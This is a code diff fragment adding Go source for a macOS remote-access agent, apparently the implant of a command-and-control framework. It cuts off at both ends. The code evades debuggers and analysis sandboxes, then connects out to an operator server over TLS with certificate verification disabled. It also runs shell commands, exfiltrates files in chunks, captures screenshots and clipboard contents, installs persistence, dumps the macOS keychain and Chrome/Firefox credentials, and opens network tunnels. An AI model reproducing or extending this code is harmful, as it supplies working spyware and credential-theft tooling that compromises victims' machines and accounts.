:= make([]byte, 16) + _, _ = rand.Read(randKey) + + info := utils.SessionInfo{ + Process: path, + PID: os.Getpid(), + User: username, + Host: host, + Ipaddr: ip, + Elevated: functions.IsElevated(), + Acp: acp, + Oem: oemcp, + Os: runtime.GOOS, + OSVersion: osVersion, + EncryptKey: randKey, + } + + data, _ := msgpack.Marshal(info) + + return data, randKey +} + +var profiles []utils.Profile +var encKeys [][]byte +var profileIndex int +var profile utils.Profile +var AgentId uint32 +var encKey []byte + +func main() { + + // OPSEC: Anti-debug — prevent debugger attachment + functions.DenyDebugger() + utils.DebugLog("anti-debug: PT_DENY_ATTACH applied") + + // OPSEC: Bail out if analysis environment detected + if functions.IsDebuggerPresent() || functions.IsAnalysisEnvironment() { + utils.DebugLog("analysis environment detected, exiting") + return + } + utils.DebugLog("OPSEC checks passed") + + for _, encProfile := range encProfiles { + key := make([]byte, 16) + copy(key, encProfile[:16]) + encData := encProfile[16:] + decData, err := utils.DecryptData(encData, key) + if err != nil { + continue + } + + var p utils.Profile + err = msgpack.Unmarshal(decData, &p) + if err != nil { + continue + } + + profiles = append(profiles, p) + encKeys = append(encKeys, key) + } + + if len(profiles) == 0 { + utils.DebugLog("no valid profiles, exiting") + return + } + utils.DebugLog("loaded %d profile(s)", len(profiles)) + + profileIndex = 0 + profile = profiles[profileIndex] + encKey = encKeys[profileIndex] + + sessionInfo, sessionKey := CreateInfo() + utils.SKey = sessionKey + + r := make([]byte, 4) + _, _ = rand.Read(r) + AgentId = binary.BigEndian.Uint32(r) + + initData, _ := msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo}) + initMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData}) + initMsg, _ = utils.EncryptData(initMsg, encKey) + + UPLOADS = make(map[string][]byte) + DOWNLOADS = make(map[string]utils.Connection) + JOBS = make(map[string]utils.Connection) + + addrIndex := 0 + for i := 0; i < profile.ConnCount && ACTIVE; i++ { + if i > 0 { + time.Sleep(time.Duration(profile.ConnTimeout) * time.Second) + addrIndex++ + if addrIndex >= len(profile.Addresses) { + addrIndex = 0 + profileIndex = (profileIndex + 1) % len(profiles) + profile = profiles[profileIndex] + encKey = encKeys[profileIndex] + initData, _ = msgpack.Marshal(utils.InitPack{Id: uint(AgentId), Type: profile.Type, Data: sessionInfo}) + initMsg, _ = msgpack.Marshal(utils.StartMsg{Type: utils.INIT_PACK, Data: initData}) + initMsg, _ = utils.EncryptData(initMsg, encKey) + } + } + + ///// Connect + + var ( + err error + conn net.Conn + ) + + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + continue + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[addrIndex], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[addrIndex]) + } + if err != nil { + utils.DebugLog("connect failed: %v", err) + continue + } else { + utils.DebugLog("connected to %s", profile.Addresses[addrIndex]) + i = 0 + } + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + continue + } + } + + /// Send Init + _ = functions.SendMsg(conn, initMsg) + + /// Recv Command + + var ( + inMessage utils.Message + outMessage utils.Message + recvData []byte + sendData []byte + ) + + for ACTIVE { + recvData, err = functions.RecvMsg(conn) + if err != nil { + break + } + + outMessage = utils.Message{Type: 0} + recvData, err = utils.DecryptData(recvData, sessionKey) + if err != nil { + break + } + + err = msgpack.Unmarshal(recvData, &inMessage) + if err != nil { + break + } + + if inMessage.Type == 1 { + outMessage.Type = 1 + outMessage.Object = TaskProcess(inMessage.Object) + } + + sendData, _ = msgpack.Marshal(outMessage) + sendData, _ = utils.EncryptData(sendData, sessionKey) + _ = functions.SendMsg(conn, sendData) + } + } +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/tasks.go b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go new file mode 100644 index 000000000..d2440d4d0 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/tasks.go @@ -0,0 +1,1422 @@ +package main + +import ( + "bytes" + "context" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "macos_agent/functions" + "macos_agent/utils" + "net" + "os" + "os/exec" + "strconv" + "sync" + "sync/atomic" + "syscall" + "time" + + "github.com/vmihailenco/msgpack/v5" +) + +var UPLOADS map[string][]byte +var DOWNLOADS map[string]utils.Connection +var JOBS map[string]utils.Connection +var TUNNELS sync.Map +var TERMINALS sync.Map + +type TunnelController struct { + Cancel context.CancelFunc + Paused atomic.Bool +} + +func TaskProcess(commands [][]byte) [][]byte { + var ( + command utils.Command + data []byte + result [][]byte + err error + ) + + for _, cmdBytes := range commands { + err = msgpack.Unmarshal(cmdBytes, &command) + if err != nil { + continue + } + + switch command.Code { + + case utils.COMMAND_DOWNLOAD: + data, err = jobDownloadStart(command.Data) + + case utils.COMMAND_CAT: + data, err = taskCat(command.Data) + + case utils.COMMAND_CD: + data, err = taskCd(command.Data) + + case utils.COMMAND_CP: + data, err = taskCp(command.Data) + + case utils.COMMAND_EXIT: + data, err = taskExit() + + case utils.COMMAND_JOB_LIST: + data, err = taskJobList() + + case utils.COMMAND_JOB_KILL: + data, err = taskJobKill(command.Data) + + case utils.COMMAND_KILL: + data, err = taskKill(command.Data) + + case utils.COMMAND_LS: + data, err = taskLs(command.Data) + + case utils.COMMAND_MKDIR: + data, err = taskMkdir(command.Data) + + case utils.COMMAND_MV: + data, err = taskMv(command.Data) + + case utils.COMMAND_PS: + data, err = taskPs() + + case utils.COMMAND_PWD: + data, err = taskPwd() + + case utils.COMMAND_RM: + data, err = taskRm(command.Data) + + case utils.COMMAND_RUN: + data, err = jobRun(command.Data) + + case utils.COMMAND_SHELL: + data, err = taskShell(command.Data) + + case utils.COMMAND_SCREENSHOT: + data, err = taskScreenshot() + + case utils.COMMAND_CLIPBOARD: + data, err = taskClipboard() + + case utils.COMMAND_PERSIST: + data, err = taskPersist(command.Data) + + case utils.COMMAND_TCC_CHECK: + data, err = taskTccCheck() + + case utils.COMMAND_DEFAULTS: + data, err = taskDefaults(command.Data) + + case utils.COMMAND_EDR_CHECK: + data, err = taskEdrCheck() + + case utils.COMMAND_KEYCHAIN: + data, err = taskKeychain(command.Data) + + case utils.COMMAND_BROWSER_DUMP: + data, err = taskBrowserDump(command.Data) + + case utils.COMMAND_TERMINAL_START: + jobTerminal(command.Data) + + case utils.COMMAND_TERMINAL_STOP: + taskTerminalKill(command.Data) + + case utils.COMMAND_TUNNEL_START: + jobTunnel(command.Data) + + case utils.COMMAND_TUNNEL_STOP: + taskTunnelKill(command.Data) + + case utils.COMMAND_TUNNEL_PAUSE: + taskTunnelPause(command.Data) + + case utils.COMMAND_TUNNEL_RESUME: + taskTunnelResume(command.Data) + + case utils.COMMAND_UPLOAD: + data, err = taskUpload(command.Data) + + case utils.COMMAND_ZIP: + data, err = taskZip(command.Data) + + default: + continue + } + + if err != nil { + command.Code = utils.COMMAND_ERROR + command.Data, _ = msgpack.Marshal(utils.AnsError{Error: err.Error()}) + } else { + command.Data = data + } + + packerData, _ := msgpack.Marshal(command) + result = append(result, packerData) + } + + return result +} + +/// TASKS + +func taskCat(paramsData []byte) ([]byte, error) { + var params utils.ParamsCat + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + fileInfo, err := os.Stat(path) + if err != nil { + return nil, err + } + if fileInfo.Size() > 0x100000 { + return nil, fmt.Errorf("file size exceeds 1 Mb (use download)") + } + + content, err := os.ReadFile(path) + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsCat{Path: params.Path, Content: content}) +} + +func taskCd(paramsData []byte) ([]byte, error) { + var params utils.ParamsCd + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + err = os.Chdir(path) + if err != nil { + return nil, err + } + + newPath, err := os.Getwd() + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsPwd{Path: newPath}) +} + +func taskCp(paramsData []byte) ([]byte, error) { + var params utils.ParamsCp + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + if info.IsDir() { + err = functions.CopyDir(srcPath, dstPath) + } else { + err = functions.CopyFile(srcPath, dstPath, info) + } + + return nil, err +} + +func taskExit() ([]byte, error) { + ACTIVE = false + return nil, nil +} + +func taskJobList() ([]byte, error) { + + var jobList []utils.JobInfo + for k, v := range DOWNLOADS { + jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType}) + } + for k, v := range JOBS { + jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType}) + } + + list, _ := msgpack.Marshal(jobList) + + return msgpack.Marshal(utils.AnsJobList{List: list}) +} + +func taskJobKill(paramsData []byte) ([]byte, error) { + var params utils.ParamsJobKill + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + job, ok := DOWNLOADS[params.Id] + if !ok { + job, ok = JOBS[params.Id] + if !ok { + return nil, fmt.Errorf("job '%s' not found", params.Id) + } + } + + if job.JobCancel != nil { + job.JobCancel() + } + + job.HandleCancel() + + return nil, nil +} + +func taskKill(paramsData []byte) ([]byte, error) { + var params utils.ParamsKill + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + proc, err := os.FindProcess(params.Pid) + if err != nil { + return nil, err + } + + err = proc.Signal(syscall.SIGKILL) + return nil, err +} + +func taskLs(paramsData []byte) ([]byte, error) { + var params utils.ParamsLs + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + Files, err := functions.GetListing(path) + if err != nil { + return msgpack.Marshal(utils.AnsLs{Result: false, Status: err.Error(), Path: path, Files: nil}) + } + + filesData, _ := msgpack.Marshal(Files) + + return msgpack.Marshal(utils.AnsLs{Result: true, Path: path, Files: filesData}) +} + +func taskMkdir(paramsData []byte) ([]byte, error) { + var params utils.ParamsMkdir + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + mode := os.FileMode(0755) + err = os.MkdirAll(path, mode) + + return nil, err +} + +func taskMv(paramsData []byte) ([]byte, error) { + var params utils.ParamsMv + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + err = os.Rename(srcPath, dstPath) + if err == nil { + return nil, nil + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + if info.IsDir() { + err = functions.CopyDir(srcPath, dstPath) + if err == nil { + _ = os.RemoveAll(srcPath) + } + } else { + err = functions.CopyFile(srcPath, dstPath, info) + if err == nil { + _ = os.Remove(srcPath) + } + } + return nil, err +} + +func taskPs() ([]byte, error) { + Processes, err := functions.GetProcesses() + if err != nil { + return nil, err + } + + processesData, _ := msgpack.Marshal(Processes) + + return msgpack.Marshal(utils.AnsPs{Result: true, Processes: processesData}) +} + +func taskPwd() ([]byte, error) { + path, err := os.Getwd() + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsPwd{Path: path}) +} + +func taskRm(paramsData []byte) ([]byte, error) { + var params utils.ParamsRm + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + info, err := os.Stat(path) + if err != nil { + return nil, err + } + if info.IsDir() { + err = os.RemoveAll(path) + } else { + err = os.Remove(path) + } + return nil, err +} + +func taskScreenshot() ([]byte, error) { + screenshot, err := functions.Screenshots() + if err != nil { + return nil, err + } + + screens := make([][]byte, 0) + for _, pic := range screenshot { + screens = append(screens, pic) + } + + return msgpack.Marshal(utils.AnsScreenshots{Screens: screens}) +} + +func taskClipboard() ([]byte, error) { + content, err := functions.GetClipboard() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: content}) +} + +func taskPersist(paramsData []byte) ([]byte, error) { + var params utils.ParamsPersist + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Action { + case "install": + output, err = functions.PersistInstall(params.Method, params.Name) + case "remove": + output, err = functions.PersistRemove(params.Method, params.Name) + case "status": + output, err = functions.PersistStatus() + default: + return nil, fmt.Errorf("unknown persist action: %s", params.Action) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsPersist{Output: output}) +} + +func taskTccCheck() ([]byte, error) { + output, err := functions.TccCheck() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskDefaults(paramsData []byte) ([]byte, error) { + var params utils.ParamsDefaults + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + output, err := functions.DefaultsRead(params.Domain) + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskEdrCheck() ([]byte, error) { + output, err := functions.EdrCheck() + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskKeychain(paramsData []byte) ([]byte, error) { + var params utils.ParamsKeychain + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Action { + case "list": + output, err = functions.KeychainList() + case "dump": + output, err = functions.KeychainDump() + default: + return nil, fmt.Errorf("unknown keychain action: %s", params.Action) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskBrowserDump(paramsData []byte) ([]byte, error) { + var params utils.ParamsBrowserDump + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + var output string + switch params.Browser { + case "chrome": + output, err = functions.BrowserDumpChrome(params.Target) + case "firefox": + output, err = functions.BrowserDumpFirefox(params.Target) + default: + return nil, fmt.Errorf("unknown browser: %s (use chrome or firefox)", params.Browser) + } + if err != nil { + return nil, err + } + return msgpack.Marshal(utils.AnsShell{Output: output}) +} + +func taskShell(paramsData []byte) ([]byte, error) { + var params utils.ParamsShell + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + cmd := exec.Command(params.Program, params.Args...) + functions.ProcessSettings(cmd) + output, _ := cmd.CombinedOutput() + + return msgpack.Marshal(utils.AnsShell{Output: string(output)}) +} + +func taskTerminalKill(paramsData []byte) { + var params utils.ParamsTerminalStop + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TERMINALS.Load(params.TermId) + if ok { + cancel, ok := value.(context.CancelFunc) + if ok { + cancel() + } + } +} + +func taskTunnelKill(paramsData []byte) { + var params utils.ParamsTunnelStop + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Cancel() + } + } +} + +func taskTunnelPause(paramsData []byte) { + var params utils.ParamsTunnelPause + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Paused.Store(true) + } + } +} + +func taskTunnelResume(paramsData []byte) { + var params utils.ParamsTunnelResume + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + value, ok := TUNNELS.Load(params.ChannelId) + if ok { + ctrl, ok := value.(*TunnelController) + if ok { + ctrl.Paused.Store(false) + } + } +} + +func taskUpload(paramsData []byte) ([]byte, error) { + var params utils.ParamsUpload + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + uploadBytes, ok := UPLOADS[path] + if !ok { + uploadBytes = params.Content + } else { + delete(UPLOADS, path) + uploadBytes = append(uploadBytes, params.Content...) + } + + if params.Finish { + files, err := functions.UnzipBytes(uploadBytes) + if err != nil { + return nil, err + } + + content, ok := files[params.Path] + if !ok { + return nil, errors.New("file not uploaded") + } + + err = os.WriteFile(path, content, 0644) + if err != nil { + return nil, err + } + + } else { + UPLOADS[path] = uploadBytes + return nil, nil + } + + return msgpack.Marshal(utils.AnsUpload{Path: path}) +} + +func taskZip(paramsData []byte) ([]byte, error) { + var params utils.ParamsZip + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + srcPath, err := functions.NormalizePath(params.Src) + if err != nil { + return nil, err + } + dstPath, err := functions.NormalizePath(params.Dst) + if err != nil { + return nil, err + } + + info, err := os.Stat(srcPath) + if err != nil { + return nil, err + } + + var content []byte + if info.IsDir() { + content, err = functions.ZipDirectory(srcPath) + } else { + content, err = functions.ZipFile(srcPath) + } + if err != nil { + return nil, err + } + + err = os.WriteFile(dstPath, content, 0644) + if err != nil { + return nil, err + } + + return msgpack.Marshal(utils.AnsZip{Path: dstPath}) +} + +/// JOBS + +func jobDownloadStart(paramsData []byte) ([]byte, error) { + var params utils.ParamsDownload + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + path, err := functions.NormalizePath(params.Path) + if err != nil { + return nil, err + } + + info, err := os.Stat(path) + if err != nil { + return nil, err + } + + size := info.Size() + + if size > 4*1024*1024*1024 { + return nil, errors.New("file too big (>4GB)") + } + + var content []byte + if info.IsDir() { + content, err = functions.ZipDirectory(path) + path += ".zip" + } else { + content, err = os.ReadFile(path) + } + if err != nil { + return nil, err + } + + var conn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return nil, err + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + return nil, err + } + + strFileId := params.Task + FileId, _ := strconv.ParseInt(strFileId, 16, 64) + + connection := utils.Connection{ + PackType: utils.EXFIL_PACK, + Conn: conn, + } + connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background()) + DOWNLOADS[strFileId] = connection + + go func() { + defer func() { + connection.HandleCancel() + _ = conn.Close() + delete(DOWNLOADS, strFileId) + }() + + exfilPack, _ := msgpack.Marshal(utils.ExfilPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task}) + exfilMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.EXFIL_PACK, Data: exfilPack}) + exfilMsg, _ = utils.EncryptData(exfilMsg, encKey) + + job := utils.Job{ + CommandId: utils.COMMAND_DOWNLOAD, + JobId: params.Task, + } + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + return + } + } + + /// Send Init + _ = functions.SendMsg(conn, exfilMsg) + + chunkSize := 0x100000 // 1MB + totalSize := len(content) + for i := 0; i < totalSize; i += chunkSize { + + end := i + chunkSize + if end > totalSize { + end = totalSize + } + start := i == 0 + finish := end == totalSize + + canceled := false + + select { + case <-connection.Ctx.Done(): + finish = true + canceled = true + default: + } + + job.Data, _ = msgpack.Marshal(utils.AnsDownload{FileId: int(FileId), Path: path, Content: content[i:end], Size: len(content), Start: start, Finish: finish, Canceled: canceled}) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + _ = functions.SendMsg(conn, sendData) + + if finish { + break + } + time.Sleep(time.Millisecond * 100) + } + }() + + return nil, nil +} + +func jobRun(paramsData []byte) ([]byte, error) { + var params utils.ParamsRun + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return nil, err + } + + procCtx, procCancel := context.WithCancel(context.Background()) + cmd := exec.CommandContext(procCtx, params.Program, params.Args...) + functions.ProcessSettings(cmd) + stdoutPipe, err := cmd.StdoutPipe() + if err != nil { + procCancel() + return nil, fmt.Errorf("stdout pipe error: %w", err) + } + stderrPipe, err := cmd.StderrPipe() + if err != nil { + procCancel() + return nil, fmt.Errorf("stderr pipe error: %w", err) + } + + var stdoutMu sync.Mutex + var stderrMu sync.Mutex + stdoutBuf := new(bytes.Buffer) + stderrBuf := new(bytes.Buffer) + + err = cmd.Start() + if err != nil { + procCancel() + return nil, fmt.Errorf("start error: %w", err) + } + pid := 0 + if cmd.Process != nil { + pid = cmd.Process.Pid + } + + var conn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + procCancel() + return nil, err + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + conn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + conn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + procCancel() + return nil, err + } + + connection := utils.Connection{ + PackType: utils.JOB_PACK, + Conn: conn, + JobCancel: procCancel, + } + connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background()) + JOBS[params.Task] = connection + + go func() { + defer func() { + procCancel() + connection.HandleCancel() + _ = conn.Close() + delete(JOBS, params.Task) + }() + + jobPack, _ := msgpack.Marshal(utils.JobPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_PACK, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(conn, profile.BannerSize) + if err != nil { + return + } + } + + /// Send Init + functions.SendMsg(conn, jobMsg) + + job := utils.Job{ + CommandId: utils.COMMAND_RUN, + JobId: params.Task, + } + + job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Start: true}) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + buf := make([]byte, 2*1024) + for { + n, err := stdoutPipe.Read(buf) + if n > 0 { + stdoutMu.Lock() + stdoutBuf.Write(buf[:n]) + stdoutMu.Unlock() + } + if err == io.EOF { + break + } + if err != nil { + break + } + } + }() + go func() { + defer wg.Done() + buf := make([]byte, 2*1024) + for { + n, err := stderrPipe.Read(buf) + if n > 0 { + stderrMu.Lock() + stderrBuf.Write(buf[:n]) + stderrMu.Unlock() + } + if err == io.EOF { + break + } + if err != nil { + break + } + } + }() + + done := make(chan struct{}) + var lastOutLen, lastErrLen int + const maxChunkSize = 0x10000 // 65 Kb + go func() { + ticker := time.NewTicker(1 * time.Second) + defer ticker.Stop() + for { + select { + case <-done: + return + + case <-ticker.C: + ansRun := utils.AnsRun{Pid: pid} + stdoutMu.Lock() + out := stdoutBuf.String() + stdoutMu.Unlock() + if len(out) > lastOutLen { + chunk := out[lastOutLen:] + if len(chunk) > maxChunkSize { + ansRun.Stdout = chunk[:maxChunkSize] + lastOutLen += maxChunkSize + } else { + ansRun.Stdout = chunk + lastOutLen = len(out) + } + } + + stderrMu.Lock() + errOut := stderrBuf.String() + stderrMu.Unlock() + if len(errOut) > lastErrLen { + chunk := errOut[lastErrLen:] + if len(chunk) > maxChunkSize { + ansRun.Stderr = chunk[:maxChunkSize] + lastErrLen += maxChunkSize + } else { + ansRun.Stderr = chunk + lastErrLen = len(errOut) + } + } + + if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 { + job.Data, _ = msgpack.Marshal(ansRun) + packedJob, _ := msgpack.Marshal(job) + + message := utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ := msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + } + } + } + }() + + time.Sleep(200 * time.Millisecond) + err = cmd.Wait() + wg.Wait() + close(done) + + stdoutMu.Lock() + finalOut := stdoutBuf.String() + stdoutMu.Unlock() + stderrMu.Lock() + finalErrOut := stderrBuf.String() + stderrMu.Unlock() + + for { + ansRun := utils.AnsRun{Pid: pid} + hasMore := false + + if len(finalOut) > lastOutLen { + chunk := finalOut[lastOutLen:] + if len(chunk) > maxChunkSize { + ansRun.Stdout = chunk[:maxChunkSize] + lastOutLen += maxChunkSize + hasMore = true + } else { + ansRun.Stdout = chunk + lastOutLen = len(finalOut) + } + } + + if len(finalErrOut) > lastErrLen { + chunk := finalErrOut[lastErrLen:] + if len(chunk) > maxChunkSize { + ansRun.Stderr = chunk[:maxChunkSize] + lastErrLen += maxChunkSize + hasMore = true + } else { + ansRun.Stderr = chunk + lastErrLen = len(finalErrOut) + } + } + + if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 { + job.Data, _ = msgpack.Marshal(ansRun) + packedJob, _ = msgpack.Marshal(job) + message = utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + sendData, _ = msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + + if hasMore { + time.Sleep(100 * time.Millisecond) + } + } + + if !hasMore { + break + } + } + + /// FINISH + + job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Finish: true}) + packedJob, _ = msgpack.Marshal(job) + + message = utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ = msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + }() + + return nil, nil +} + +func jobTunnel(paramsData []byte) { + var params utils.ParamsTunnelStart + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + go func() { + active := true + reason := byte(0) + clientConn, err := net.DialTimeout(params.Proto, params.Address, 200*time.Millisecond) + if err != nil { + active = false + var opErr *net.OpError + if errors.As(err, &opErr) { + if opErr.Timeout() { + reason = 4 + } + if errors.Is(syscall.ECONNREFUSED, opErr.Err) { + reason = 5 + } + if errors.Is(syscall.ENETUNREACH, opErr.Err) { + reason = 3 + } + } + } + + var srvConn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + srvConn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + srvConn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + srvConn.Close() + return + } + + tunKey := make([]byte, 16) + _, _ = rand.Read(tunKey) + tunIv := make([]byte, 16) + _, _ = rand.Read(tunIv) + + jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Iv: tunIv, Alive: active, Reason: reason}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TUNNEL, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(srvConn, profile.BannerSize) + if err != nil { + srvConn.Close() + return + } + } + + /// Send Init + functions.SendMsg(srvConn, jobMsg) + + if !active { + srvConn.Close() + return + } + + encCipher, _ := aes.NewCipher(tunKey) + encStream := cipher.NewCTR(encCipher, tunIv) + streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn} + + decCipher, _ := aes.NewCipher(tunKey) + decStream := cipher.NewCTR(decCipher, tunIv) + streamReader := &cipher.StreamReader{S: decStream, R: srvConn} + + ctx, cancel := context.WithCancel(context.Background()) + ctrl := &TunnelController{ + Cancel: cancel, + } + TUNNELS.Store(params.ChannelId, ctrl) + defer TUNNELS.Delete(params.ChannelId) + + var closeOnce sync.Once + closeAll := func() { + closeOnce.Do(func() { + _ = clientConn.Close() + _ = srvConn.Close() + }) + } + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + io.Copy(clientConn, streamReader) + closeAll() + }() + + go func() { + defer wg.Done() + buf := make([]byte, 32*1024) + for { + select { + case <-ctx.Done(): + return + default: + if ctrl.Paused.Load() { + time.Sleep(50 * time.Millisecond) + continue + } + + clientConn.SetReadDeadline(time.Now().Add(500 * time.Millisecond)) + nr, er := clientConn.Read(buf) + if nr > 0 { + _, ew := streamWriter.Write(buf[0:nr]) + if ew != nil { + closeAll() + return + } + } + if er != nil { + if netErr, ok := er.(net.Error); ok && netErr.Timeout() { + continue + } + closeAll() + return + } + } + } + }() + + go func() { + <-ctx.Done() + closeAll() + }() + + wg.Wait() + + cancel() + }() +} + +func 